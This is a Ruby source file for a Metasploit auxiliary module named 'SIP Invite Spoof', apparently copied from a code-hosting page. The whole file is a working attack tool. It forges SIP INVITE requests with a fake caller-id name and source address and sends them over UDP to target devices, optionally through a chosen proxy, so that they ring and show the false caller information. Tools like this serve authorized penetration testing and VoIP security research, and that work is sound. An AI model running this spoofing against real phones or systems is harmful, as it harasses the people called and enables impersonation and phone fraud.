98 lines
2.8 KiB
Ruby
98 lines
2.8 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::Udp
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'SIP Invite Spoof',
|
|
'Description' => %q{
|
|
This module will create a fake SIP invite request making the targeted device ring
|
|
and display fake caller id information.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'David Maynor <dave[at]erratasec.com>', # original module
|
|
'ChrisJohnRiley' # modifications
|
|
],
|
|
'License' => MSF_LICENSE
|
|
)
|
|
|
|
deregister_options('Proxies','SSL','RHOST')
|
|
register_options(
|
|
[
|
|
Opt::RPORT(5060),
|
|
OptString.new('SRCADDR', [true, "The sip address the spoofed call is coming from",'192.168.1.1']),
|
|
OptString.new('MSG', [true, "The spoofed caller id to send","The Metasploit has you"]),
|
|
OptString.new('EXTENSION', [false, "The specific extension or name to target", nil]),
|
|
OptString.new('DOMAIN', [false, "Use a specific SIP domain", nil])
|
|
], self.class)
|
|
register_advanced_options(
|
|
[
|
|
OptAddress.new('SIP_PROXY_NAME', [false, "Use a specific SIP proxy", nil]),
|
|
OptPort.new('SIP_PROXY_PORT', [false, "SIP Proxy port to use", 5060])
|
|
], self.class)
|
|
end
|
|
|
|
|
|
def run_host(ip)
|
|
|
|
begin
|
|
|
|
name = datastore['MSG']
|
|
src = datastore['SRCADDR']
|
|
ext = datastore['EXTENSION']
|
|
dom = datastore['DOMAIN']
|
|
sphost = datastore['SIP_PROXY_NAME']
|
|
spport = datastore['SIP_PROXY_PORT'] || 5060
|
|
conn_string = ''
|
|
|
|
if not ext.nil? and not ext.empty?
|
|
# set extesion name/number
|
|
conn_string = "#{ext}@"
|
|
end
|
|
|
|
if not dom.nil? and not dom.empty?
|
|
# set domain
|
|
conn_string << "#{dom}"
|
|
else
|
|
conn_string << "#{ip}"
|
|
end
|
|
|
|
# set Route header if SIP_PROXY is set
|
|
if not sphost.nil? and not sphost.empty?
|
|
route = "Route: <sip:#{sphost}:#{spport};lr>\r\n"
|
|
end
|
|
|
|
connect_udp
|
|
|
|
print_status("Sending Fake SIP Invite to: #{conn_string}")
|
|
print_status("Using SIP proxy #{sphost}:#{spport}") if route
|
|
|
|
req = "INVITE sip:#{conn_string} SIP/2.0" + "\r\n"
|
|
# add Route: header to req if SIP_PROXY is set
|
|
req << route if route
|
|
req << "To: <sip:#{conn_string}>" + "\r\n"
|
|
req << "Via: SIP/2.0/UDP #{ip}" + "\r\n"
|
|
req << "From: \"#{name}\"<sip:#{src}>" + "\r\n"
|
|
req << "Call-ID: #{(rand(100)+100)}#{ip}" + "\r\n"
|
|
req << "CSeq: 1 INVITE" + "\r\n"
|
|
req << "Max-Forwards: 20" + "\r\n"
|
|
req << "Contact: <sip:#{conn_string}>" + "\r\n\r\n"
|
|
|
|
udp_sock.put(req)
|
|
disconnect_udp
|
|
|
|
rescue Errno::EACCES
|
|
end
|
|
|
|
end
|
|
end
|